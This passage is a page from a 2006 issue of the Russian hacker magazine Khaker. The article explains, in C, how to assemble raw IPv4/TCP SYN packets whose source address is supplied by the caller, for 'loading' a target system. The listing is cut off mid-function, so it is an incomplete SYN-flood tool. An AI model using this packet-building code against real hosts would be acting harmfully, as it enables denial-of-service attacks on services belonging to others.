Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #91, ИЮЛЬ 2006 г.

Excalibur на Си

Wolf D.A. aka payhash

Хакер, номер #091, стр. 091-128-3


Итак, с основными тезисами и понятиями мы разобрались, остается все это собрать в кучу и отправить системе, которую собираемся нагружать. В этом нам поможет функция, которую можно видеть на листинге 2. Она собирает пакет IPv4 и возвращает на него указатель. На вход в нее мы подадим четыре аргумента - это указатель на буфер, в котором будем записывать собранный IPv4 пакет, адрес отправителя, адрес получателя и порт назначения. В этой функции нет ничего особенного – обычное заполнение полей структуры IP/TCP, которые мы рассматривали выше.

Листинг №2. Функция для сборки TCP/IP-пакета.

static u_char *constructpacket(u_char *inetfragment, struct in_addr srcaddr,

struct in_addr dstaddr, u_short dstport)

{

// tcp/ip заголовки

IPHEADER ippkt; // IP-заголовок

TCPHEADER tcppkt; // TCP-заголовок

PSDHEADER pseudo; // TCP/IP-псевдозаголовок

/* Обнуление 60 байт TCP/IP-заголовка */

char tcpip[60]={0};

/* Здесь пишем версию и длину IP-пакета */

ippkt.ip_vhl=(4<<4 | sizeof(ippkt)/sizeof(unsigned long));

ippkt.ip_tos=0; // Приоритет пакета

/* Длинна всего IP-пакета плюс tcp */

ippkt.ip_len=htons(sizeof(ippkt)+sizeof(tcppkt));

ippkt.ip_id=1; // id-пакета

ippkt.ip_off=0; // смещение

ippkt.ip_ttl=128; // время жизни пакета

ippkt.ip_p=IPPROTO_TCP; // тип протокола

// контрольная сумма пакета (рассчитываем ниже)

ippkt.ip_sum=0;

ippkt.ip_src=srcaddr; // адрес источника

/* адрес получателя, на котором будем создавать нагрузку */

ippkt.ip_dst=dstaddr;

/* Теперь заполняем TCP-заголовок*/

/* Порт источника случайный в диапазоне от 0 до 65000. Не

*удивляйся - нулевые порты тоже существуют ;))) */

tcppkt.th_sport=htons(rand()%65000);

/* Порт назначения (порт, на котором будем создавать нагрузку)

*/

tcppkt.th_dport=htons(dstport);

/* ;) Просто номер пакета, любое число */

tcppkt.th_seq=htonl(0x4655434b);

tcppkt.th_ack=0x00000000;

tcppkt.th_lenres=(sizeof(tcppkt)/4<<4|0);

/* SYN пакет (попытка установить начало сеанса) */

tcppkt.th_flag=2;

tcppkt.th_win=htons(512);

tcppkt.th_urp=0;

/* Контрольная сумма TCP-пакета (рассчитывается ниже) */

tcppkt.th_sum=0;

/* Заполнение псевдозаголовка для расчета контрольных сумм

*(см. функцию) */

pseudo.saddr=ippkt.ip_src;

pseudo.daddr=ippkt.ip_dst;

pseudo.zer0=0;

pseudo.ptcl=IPPROTO_TCP;

pseudo.tcpl=htons(sizeof(tcppkt));

memcpy(tcpip, &pseudo, sizeof(pseudo));

memcpy(tcpip+sizeof(pseudo), &tcppkt, sizeof(tcppkt));

/* Считаем контрольную сумму tcp-заголовка и пишем ip

* заголовок в буфер tcpip */

tcppkt.th_sum=in_cksum((USHORT*)tcpip,sizeof(pseudo)+

sizeof(tcppkt));

memcpy(tcpip, &ippkt, sizeof(ippkt));

memcpy(tcpip+sizeof(ippkt), &tcppkt, sizeof(tcppkt));

memset(tcpip+sizeof(ippkt)+sizeof(tcppkt), 0, 4);

/* Считаем контрольную сумму IP-заголовка и пишем IP-заголовок

* в буфер tcpip */

ippkt.ip_sum=in_cksum((USHORT *)tcpip, sizeof(ippkt)+sizeof(tcppkt));

memcpy(tcpip, &ippkt, sizeof(ippkt));

/* Кладем это все в буфер inetfragment, после чего его же и

Назад на стр. 091-128-2  Содержание  Вперед на стр. 091-128-4